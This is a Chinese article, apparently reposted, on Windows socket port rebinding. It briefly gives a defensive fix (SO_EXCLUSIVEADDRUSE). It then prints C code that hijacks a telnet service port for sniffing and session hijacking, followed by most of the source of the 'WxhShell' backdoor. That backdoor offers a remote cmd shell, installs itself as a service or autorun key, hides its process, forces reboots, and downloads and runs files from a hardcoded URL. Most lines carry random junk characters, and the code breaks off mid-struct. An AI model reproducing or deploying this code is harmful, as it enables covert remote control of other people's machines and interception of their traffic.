在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
:5*<QJuI#A s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
xaS [.Y=~)7FB saddr.sin_family = AF_INET;
ho20>vw# l3afuD: saddr.sin_addr.s_addr = htonl(INADDR_ANY);
m[bu(q z q@sH@-z4] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
;VuB8cnL` os.x|R]_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
CC09:L? eLTNnz 这意味着什么?意味着可以进行如下的攻击:
YiJu48J
vXvV5Oq 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.Ep3~9TBW FGH>;H@ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Jzdc'3dq :3t])mL# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
h0eo:Ahi m2! 7M%]GC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
z
K(5&u "EHc&,B` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
kb:C>Y8!sC </=PN1=A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
c[y8"M5 1v4kN
- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
bGJUu# 5QSmim #include
@j
(jOe #include
:kVV.a#g #include
nGbrWu]w #include
sy?>e*-{ DWORD WINAPI ClientThread(LPVOID lpParam);
?c2TT
Q int main()
B1M/5cr. {
VM,ZEt3Vy WORD wVersionRequested;
Za6oYM_z DWORD ret;
Hj\~sR$L- WSADATA wsaData;
z3C^L BOOL val;
8<kme"%s SOCKADDR_IN saddr;
#~+#72+x7 SOCKADDR_IN scaddr;
asi1c
y\ int err;
J:u|8>; SOCKET s;
u J`&hX SOCKET sc;
cP1jw%3P int caddsize;
k:TfE6JZ HANDLE mt;
SRTpE, DWORD tid;
8Vn6* Xn wVersionRequested = MAKEWORD( 2, 2 );
q KM]wu0Et err = WSAStartup( wVersionRequested, &wsaData );
?R(3O1,v^ if ( err != 0 ) {
IebS~N
E printf("error!WSAStartup failed!\n");
5);#\&B return -1;
8joQPHkI\ }
)ziQ=k6d6 saddr.sin_family = AF_INET;
nB5[]x' !{Y#<tG] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4BT`|(7 2mUu3fZ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_}&]`,s> saddr.sin_port = htons(23);
h Nle;&*F if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
JB+pFBeY {
9NP l]iA) printf("error!socket failed!\n");
?6QJP|kE return -1;
!Ia"pNDf }
g#4gGhI val = TRUE;
iy]}1((hR //SO_REUSEADDR选项就是可以实现端口重绑定的
$3TTHS o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
i .N1Cvp& {
7fay:_ printf("error!setsockopt failed!\n");
$vBU}~l7 return -1;
JF*g!sV% }
>, E$bm2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
m-8 9nOls //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6p"c^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
xp&!Cl>C3\ S=}~I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
mr!I}I7x&x {
DQ\&5ytP ret=GetLastError();
Hg`{9v printf("error!bind failed!\n");
mM}Ukmy return -1;
|T_Pz&- }
@vYmkF` listen(s,2);
YfwJBzD while(1)
0s|LK {
Qs9 U&*L caddsize = sizeof(scaddr);
rk/
c //接受连接请求
X u):.0I sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
dz|*n'd if(sc!=INVALID_SOCKET)
$NT9LtT@K {
i)L:VkN mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
o#xg:m_py if(mt==NULL)
=
Y-Ne6a {
oKi1=d+T printf("Thread Creat Failed!\n");
el?V2v[ break;
r^t{Ii~ }
1N!g`=} }
X-1Vp_(,TP CloseHandle(mt);
Z9&D'n) }
c@-K closesocket(s);
o#P3lz WSACleanup();
{p|%hhTK% return 0;
/:`
i%E }
pPqN[OJ DWORD WINAPI ClientThread(LPVOID lpParam)
kqW<e[ {
6b70w @P! SOCKET ss = (SOCKET)lpParam;
5ek%d SOCKET sc;
Sz|CreFK16 unsigned char buf[4096];
g&3#22z SOCKADDR_IN saddr;
uq4sbkP long num;
dB+GTq=6f DWORD val;
7NB 9Vu|gD DWORD ret;
1MI7l)D? //如果是隐藏端口应用的话,可以在此处加一些判断
I'9s=~VfY, //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
fq'Xy9L saddr.sin_family = AF_INET;
A dEbyL saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
@JEmybu saddr.sin_port = htons(23);
'UVv(- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@CU|3Qg {
iM|"H.. printf("error!socket failed!\n");
=)- Q?1q return -1;
$O e 58 }
^:!(jiH val = 100;
@xm~T|[7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g#bu_E61B {
g!p_c ret = GetLastError();
G;HlII9x[ return -1;
$SzCVWS }
A>t!/_" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zI&4k..4 {
y3nm!tjyM ret = GetLastError();
C^" Hj return -1;
I?Jii8|W9 }
Gr"7w[|+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
GoSWH2N {
'?G[T28 printf("error!socket connect failed!\n");
,(0XsBL closesocket(sc);
"YzTMKu closesocket(ss);
oT)VOkFq return -1;
[du>ff }
)fMX!#KP while(1)
\U*-w:+@ {
`Kc %S^C' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
gQh Ccv //如果是嗅探内容的话,可以再此处进行内容分析和记录
reM //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
cF&h$4- num = recv(ss,buf,4096,0);
rrY{Jf9> if(num>0)
R;E"Qdt send(sc,buf,num,0);
g<iwxF else if(num==0)
03QEXm~|Q break;
#1't"R+3M num = recv(sc,buf,4096,0);
^?X ^+ if(num>0)
j t`p<gI send(ss,buf,num,0);
7#9'2dI else if(num==0)
"26B4* break;
'^ e/F)0 }
@CaD8%j{ closesocket(ss);
B~ !G lT closesocket(sc);
]tQDk4&i return 0 ;
H@2v<e@ }
V1`5D7Z 'hlB;z|T c_G-R+ ==========================================================
Jh&~/ntmm_ 7 xp1\j0 下边附上一个代码,,WXhSHELL
)YnI!v2T cUZ!;* ==========================================================
o?va#/fk CS;W)F #include "stdafx.h"
K_&c5(-(_ A:.IBctsd #include <stdio.h>
\buZ? #include <string.h>
<Sprp]n
7 #include <windows.h>
h#@4@x{ #include <winsock2.h>
:%uyy5AZ #include <winsvc.h>
fa4951_ #include <urlmon.h>
|.8d,!5w} kg?T$}O #pragma comment (lib, "Ws2_32.lib")
11B{gUv.] #pragma comment (lib, "urlmon.lib")
ll(e,9.D mF*?e/ #define MAX_USER 100 // 最大客户端连接数
A )RI:?+ #define BUF_SOCK 200 // sock buffer
6t_ 3%{ #define KEY_BUFF 255 // 输入 buffer
DYAwQ"i;6 uq|vNLW26 #define REBOOT 0 // 重启
Lov.E3S6; #define SHUTDOWN 1 // 关机
%89"A'g P )t]bS #define DEF_PORT 5000 // 监听端口
$&= 4.7Yt 8sR #define REG_LEN 16 // 注册表键长度
npO@Haw #define SVC_LEN 80 // NT服务名长度
1=/doo{^ @jE d%W // 从dll定义API
}
T/}0W]0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
(RDa,& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
rysP)e typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
)e|$K=
D typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
k+WO &g*| *#Lsjk~_- // wxhshell配置信息
@Z9>3'2]A struct WSCFG {
o\@ A2r3 int ws_port; // 监听端口
agU%z:M{ char ws_passstr[REG_LEN]; // 口令
N"Y K@)*Q int ws_autoins; // 安装标记, 1=yes 0=no
:jk)(=^ char ws_regname[REG_LEN]; // 注册表键名
~{7zm"jN char ws_svcname[REG_LEN]; // 服务名
{WYu0J@ char ws_svcdisp[SVC_LEN]; // 服务显示名
`qf\3JT\ char ws_svcdesc[SVC_LEN]; // 服务描述信息
nc3ltT,R char ws_passmsg[SVC_LEN]; // 密码输入提示信息
-uv
9(r\P int ws_downexe; // 下载执行标记, 1=yes 0=no
<}28=d char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
K-2o9No?j` char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Gg=aK~q6 KFTf~!|
};
R<n8M"B L,C? gd@" // default Wxhshell configuration
aPD?Bh>JU struct WSCFG wscfg={DEF_PORT,
J ?ztn "xuhuanlingzhe",
}t@f|TX 1,
ZL4l
(&" "Wxhshell",
n0+g]|a
AF "Wxhshell",
g[#k.CuP "WxhShell Service",
9tzoris[~ "Wrsky Windows CmdShell Service",
}zkL[qu; "Please Input Your Password: ",
ig{A[7qN 1,
iUeV5cB "
http://www.wrsky.com/wxhshell.exe",
qs6Nb'JvQR "Wxhshell.exe"
w8 ?Pb$Fe };
mP9cBLz C1X}3bB // 消息定义模块
4ss&'h char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
&Pu+(~'Q char *msg_ws_prompt="\n\r? for help\n\r#>";
b$dJ?%W char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
5nM kd/ char *msg_ws_ext="\n\rExit.";
|MTpU@`p5 char *msg_ws_end="\n\rQuit.";
ruZYehu1W char *msg_ws_boot="\n\rReboot...";
=7 Jy char *msg_ws_poff="\n\rShutdown...";
pT("2:)x char *msg_ws_down="\n\rSave to ";
+"k.E
x0: a4A`cUt char *msg_ws_err="\n\rErr!";
]$m#1Kj char *msg_ws_ok="\n\rOK!";
"
Sc5qG m0=cMVCA! char ExeFile[MAX_PATH];
rQ`\JE&` int nUser = 0;
2wB.S_4"-< HANDLE handles[MAX_USER];
Mam8\ int OsIsNt;
OD E:08%4O SERVICE_STATUS serviceStatus;
ad"'O] SERVICE_STATUS_HANDLE hServiceStatusHandle;
vC)"*wYB{ X}zX`]:I' // 函数声明
~hS3*\^~M int Install(void);
%==G+S{ int Uninstall(void);
N7e`6d! int DownloadFile(char *sURL, SOCKET wsh);
<\ y!3; int Boot(int flag);
I*^5'N' void HideProc(void);
44\!PYf7 int GetOsVer(void);
6N9 c<JC int Wxhshell(SOCKET wsl);
]YCPyc: void TalkWithClient(void *cs);
W*YxBn4 int CmdShell(SOCKET sock);
O!:QJ
^8d int StartFromService(void);
&}vR(y*#c int StartWxhshell(LPSTR lpCmdLine);
r0)JUc}Fyq 8 ne/=N|, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1S+;ZMk VOID WINAPI NTServiceHandler( DWORD fdwControl );
>F/XZC f"vk# 3 // 数据结构和表定义
!cRfZ SERVICE_TABLE_ENTRY DispatchTable[] =
8{R&EijC {
?TIV2m^? {wscfg.ws_svcname, NTServiceMain},
}TSgAwsbC {NULL, NULL}
By2s ']bw };
7sXy`+TZ-> i~9?:plS // 自我安装
}P#Vsqe V int Install(void)
K@q&HV"'. {
qOW#Q:T char svExeFile[MAX_PATH];
bsB},pc HKEY key;
_~tm7o+js strcpy(svExeFile,ExeFile);
inYM+o!Ub }-d)ms! // 如果是win9x系统,修改注册表设为自启动
Y^QKp" if(!OsIsNt) {
`q%U{IR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Takt_N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*~cqr RegCloseKey(key);
cI2Fpf`2Wj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
w'A tf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0Y7$d` RegCloseKey(key);
Yg/}ghF\ return 0;
BYS lKTh }
xZX`%f- }
uM<|@`&b }
(/&;jV2DD[ else {
im8
-7Xt /-Wuq`P/ T // 如果是NT以上系统,安装为系统服务
Z(p*Z,?u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&M[MEO`t8 if (schSCManager!=0)
[q1Unm {
:V-k'hm
& SC_HANDLE schService = CreateService
\SOeTn+ (
S`=n&' schSCManager,
hd5$ yU5JQ wscfg.ws_svcname,
IhE9snJ[ wscfg.ws_svcdisp,
7Re-5vz
R SERVICE_ALL_ACCESS,
BBxc*alG0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
COSTV>s; SERVICE_AUTO_START,
FY8!g'.Oe SERVICE_ERROR_NORMAL,
b
vRB svExeFile,
gY!N3 *: NULL,
lkb2?2\+ NULL,
_%{0?|= NULL,
.$Y?
W< NULL,
oE1M/*myS NULL
34z+INkX );
X]!D;7^ if (schService!=0)
I+|uUg5 {
]KWK}Zyi CloseServiceHandle(schService);
/Pk:4, CloseServiceHandle(schSCManager);
ys%zlbj[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
!4t`Hv?' strcat(svExeFile,wscfg.ws_svcname);
<#y*h8IZ@t if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
wX0l?xdI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ox[ .)v RegCloseKey(key);
(0OM"`j return 0;
3V}(fnv }
}#6xFTH }
n3$gx,KL CloseServiceHandle(schSCManager);
GF'f[F6oI }
P`EgA }
#-{N
Ws\ T`\]!>eb return 1;
L+.H z&*@ }
M\9F:.t= I^G^J M! // 自我卸载
h=6xZuA\ int Uninstall(void)
26.)U r<F {
&tj0M.- HKEY key;
'w.}2( ,hWcytzEw if(!OsIsNt) {
Efx=T$%^& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
90fs:. RegDeleteValue(key,wscfg.ws_regname);
>F[GVmC RegCloseKey(key);
3+>OGwfQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a8Uk[^5 RegDeleteValue(key,wscfg.ws_regname);
uE`r /=4 RegCloseKey(key);
|@RpWp>2 return 0;
d2~l4IL)~ }
_R^y\1Qu }
\GL*0NJ }
b+{r!D}~ else {
6\n?48x} zTY;8r+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
E!!
alc{ if (schSCManager!=0)
jO8X:j09A {
$:EG%jl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Uw)=WImz[ if (schService!=0)
CxDcY {
6+3 $:? if(DeleteService(schService)!=0) {
jj,r <T CloseServiceHandle(schService);
AbfZ++aJ CloseServiceHandle(schSCManager);
NYB "jKMk return 0;
-bS)=L }
&RO7{,`
CloseServiceHandle(schService);
s bnjy"Z% }
}pawIf4V CloseServiceHandle(schSCManager);
RlRs}yF }
3vW4<:Lgy }
:q
(&$ ',)7GY/n~ return 1;
fF;h V }
Ur!~<4GO eT[&L @l]b // 从指定url下载文件
4h8*mMghs int DownloadFile(char *sURL, SOCKET wsh)
bL`eiol6 {
? ?[g}> HRESULT hr;
1nI^-aQ3 char seps[]= "/";
3^wC<ZXcD char *token;
BzN@gQo char *file;
{C")#m-0 char myURL[MAX_PATH];
rN5tI.iC char myFILE[MAX_PATH];
q3h'l, 4 1t)(+r strcpy(myURL,sURL);
7-*=|gl+ token=strtok(myURL,seps);
V%NeZ1{ e while(token!=NULL)
K_ke2{4Jm {
Sh&PNJ-* file=token;
g"K>5Cb token=strtok(NULL,seps);
0.Vi97` }
a]B[`^`z |=K_F3aJ GetCurrentDirectory(MAX_PATH,myFILE);
"2{%JFE strcat(myFILE, "\\");
I ~$1Lu`~ strcat(myFILE, file);
4W;S=#1 send(wsh,myFILE,strlen(myFILE),0);
(Rd$VYuf send(wsh,"...",3,0);
gzdG6" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
obo&1Uv,/ if(hr==S_OK)
80;n|nNB return 0;
u0
y 1 else
2@khSWV return 1;
4kl Ao$ BKIjNV3 }
Riry_
O !&,5 Dy // 系统电源模块
F9flSeN int Boot(int flag)
L0NA*C
{
fU+Pn@' HANDLE hToken;
uQ/h'v TOKEN_PRIVILEGES tkp;
m3.sVI0I Q(Gl{#b if(OsIsNt) {
nwmW.(R4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
1m@^E:w LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9 OT,TpA tkp.PrivilegeCount = 1;
N#ioJ^}n: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
X+82[Y,mB. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
3EK9,:<Cf if(flag==REBOOT) {
u2iXJmM* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
s'\$t return 0;
(gXN%rsY }
Vba.uKNjk else {
RU#F8O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
1/Zh^foG return 0;
,wAz^cK| }
$}o
b,i^W }
sa&) #Z: else {
3tAU?sV! if(flag==REBOOT) {
bt/ =Kq# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
y2|R.EU\m< return 0;
p $`92Be/ }
rcN 9.1 else {
(u1m]WYL if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~nY]o"8D return 0;
}q[Bd }
>BVoHt~; }
'{b1!nC; s60
TxB return 1;
L{fFC%|l2L }
y1f:?L-z 1;F`c`0< // win9x进程隐藏模块
vVxD!EL void HideProc(void)
s1j{x&OSq {
gVR@&bi7 v|';!p| HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^Q}eatEn if ( hKernel != NULL )
#UP~iHbt\ {
B&?sF" Y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&[[K"aM1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
N.do " FreeLibrary(hKernel);
j+IrqPKC^ }
&qM[g9 gABr@>Vv return;
>SbK.Q@ei }
)Kd%\PP na+d;h*~y // 获取操作系统版本
9i q"" int GetOsVer(void)
#]Y>KX2HG {
mN_Z7n;^eh OSVERSIONINFO winfo;
c3TKl/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
G&f8n GetVersionEx(&winfo);
4Y \wnwI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
k@mVxnC return 1;
4=8QZf0\ else
\;X+X,M return 0;
5\fCd| }
zg)sd1@ K4ZolWbU // 客户端句柄模块
eOT+'[3" int Wxhshell(SOCKET wsl)
s%4M$e {
RW'nUL?_\ SOCKET wsh;
07v!Zj struct sockaddr_in client;
l@Z6do DWORD myID;
9LC&6Q5O& i5}4(sV while(nUser<MAX_USER)
5` D-
{
t+uE int nSize=sizeof(client);
"2ru 7Y" wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
_HOIT if(wsh==INVALID_SOCKET) return 1;
r=.A'"Kf !^c@shLN4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
b\7iY&.C| if(handles[nUser]==0)
$FTO closesocket(wsh);
m"eteA,"k_ else
k(VB+k"3 nUser++;
,5
j"ruZ }
Q,T"Zd Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
O`1! Hh;:`;}
return 0;
gY-5_Ab }
7r#ymQ 26?W
nu60 // 关闭 socket
W#fZ1E6 void CloseIt(SOCKET wsh)
da!P0x9p {
HeGYu?& closesocket(wsh);
6?tlU>A2s nUser--;
68fiG ExitThread(0);
G"5D< ] }
Lo.rvt
t&q N: J // 客户端请求句柄
jEdtJEPa void TalkWithClient(void *cs)
0fXLcal {
SMr13%KN/ n{0Ld -zH SOCKET wsh=(SOCKET)cs;
qFX~[h8i+ char pwd[SVC_LEN];
=<@2#E) char cmd[KEY_BUFF];
!|waK~jK char chr[1];
?4H#G)F int i,j;
Z6C=T;w VXBY8;+Yp while (nUser < MAX_USER) {
pO Iq%0] {@Yb%{+ if(wscfg.ws_passstr) {
8LkP)]4^sO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
IA zZ1#/3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+gd2|`# //ZeroMemory(pwd,KEY_BUFF);
NH<gU_s8{9 i=0;
./vZe_o)j$ while(i<SVC_LEN) {
AFvgbn8Qh 4LcX<BU9 // 设置超时
RprKm'b8x` fd_set FdRead;
2zSG&",2D struct timeval TimeOut;
) /vhclkb FD_ZERO(&FdRead);
8F(h*e_? FD_SET(wsh,&FdRead);
C;+(Zp TimeOut.tv_sec=8;
@Hb'8F TimeOut.tv_usec=0;
fc=Patg int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
\`<cH# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
.{KjEg 6 `?g`bN`Vn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
bu7'oB~:V^ pwd
=chr[0]; n%^ LPD
if(chr[0]==0xd || chr[0]==0xa) { Gc]~wD$
pwd=0;
wm{3&m
break; -ezY= 0Q&
} gF=jf2{YX
i++; J&/lx${
} JG[o"&Sd
thi1kJ`L
// 如果是非法用户,关闭 socket _mvxsG
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b+-f.!j
} XKA&XpF
5vAf7\*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @oF$LMD
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rB~W Iu
j:T/ iH!YF
while(1) { AUVgPXOwd
lE8&..~l$+
ZeroMemory(cmd,KEY_BUFF); X=JmF97
LTV{{Z+
// 自动支持客户端 telnet标准 ZoB*0H-
j=0; @$"J|s3M
while(j<KEY_BUFF) { W%2
80\h
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V=He_9B
cmd[j]=chr[0]; XY.5Rno4
if(chr[0]==0xa || chr[0]==0xd) { @RFs/'
cmd[j]=0; \I-#1M
break; TC~Q
G$NW
} ne61}F"E
j++; 87)zCq
} G&xo1K]
hv 6@Jr3
// 下载文件 iqQUtE]E_
if(strstr(cmd,"http://")) { GuZ( &G6*
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4H5pr
if(DownloadFile(cmd,wsh)) jN-vY<?h]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P7ph}mB
else etT +
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H.<a`mm8
} e~ aqaY~}
else { [3l*F
s](aNe2j
switch(cmd[0]) { fJ\sguZ
^_t%kmL`
// 帮助 )VCzn~uf
case '?': { x83
!C}4:
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <^b7cOFQ
break; G2LK]
} <H1`
// 安装 n,eJ$2!J
case 'i': { YSJy`
if(Install()) F/m^?{==~*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >&g}7d%
else '}g*!jL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +X`V|E,no
break; I)q,kP@yY
} $@d9<83=
// 卸载 wiaX&-c]8
case 'r': { IM$2VlC
if(Uninstall()) w{~+EolK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >{eCh$L
else nzjkX4KV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O%1v)AT&\
break; ^JI o?R
} Q%/<ZC.Mz6
// 显示 wxhshell 所在路径 ,\ 2a=Fp
case 'p': { ^l^fD t
char svExeFile[MAX_PATH]; J$4wL
F3
strcpy(svExeFile,"\n\r"); R1F5-#?'E
strcat(svExeFile,ExeFile);
{7!UQrm<
send(wsh,svExeFile,strlen(svExeFile),0); )eUW5
tS
break; T5Q{{ @Q
} 'Y$R~e^Y?
// 重启 `c/*H29
case 'b': { Y+4o B
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8ul&x~2;X
if(Boot(REBOOT)) ;!o]wHmA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *5zrZ]^
else { e*(b
closesocket(wsh); \;VhYvEH
ExitThread(0); )!g{Sbl
} EFpIp4_Y
break; #-3=o6DCK
} "'g[1Li
// 关机 =.y*_Ja
case 'd': { HL/bS/KX
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uE[(cko
if(Boot(SHUTDOWN)) Om M=o*d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +\li*G]:J
else { #`GY}-hL!
closesocket(wsh); !R*-R.%
ExitThread(0); Q^p|Ldj
} h/x0]@M&
break; @i^~0A#q*
} p^(&qk?ut
// 获取shell Hk>79};
case 's': { 2=?tJ2E
CmdShell(wsh); t9&cE:n
closesocket(wsh); `cx]e
ExitThread(0); $?,a[79
break; Z5c~^jL$-
} /h v4x9
// 退出 k3+e;[My+
case 'x': { >7!6nF3x,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tb:L\A^:
CloseIt(wsh); K:'q>D@
break; fzjU<?}
} |
ohL]7b<
// 离开 Q'k\8'x
case 'q': { X2tk[Kr
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |uW:r17
closesocket(wsh); 9]t[J_YM
WSACleanup(); BmHwu{n'
exit(1); tO_H!kP
break;
)1g"?]
} #fj/~[Ajv
} 2F%W8Y3
} #W.vX?-'0
y=Mq(c:'UN
// 提示信息 b':|uu*/
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DzQ1%!
} Cf B.ZT
} $3Z-)m
7PR#(ftz
return; B?$ "\;&
} m/N dJMoN=
H
_Va"yTO6
// shell模块句柄 nhG
J
int CmdShell(SOCKET sock) "O8gJ0e
{ IVlf=k
STARTUPINFO si;
E7Cy(LO
ZeroMemory(&si,sizeof(si)); +UJuB
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _C\[DR0n
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =)O,`.M.Y
PROCESS_INFORMATION ProcessInfo; 47r_y\U h
char cmdline[]="cmd"; g%u&Zkevx
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 56l@a{
return 0; " P)*FT
} 8q`$y$06Dk
^-FRTC
// 自身启动模式 |[9?ma
int StartFromService(void) CF|]e:
{ GE|+fYVM-$
typedef struct ~[k%oA%W
{ UD~p'^.m_
DWORD ExitStatus; i&8FBV-
DWORD PebBaseAddress; PA6=wfc
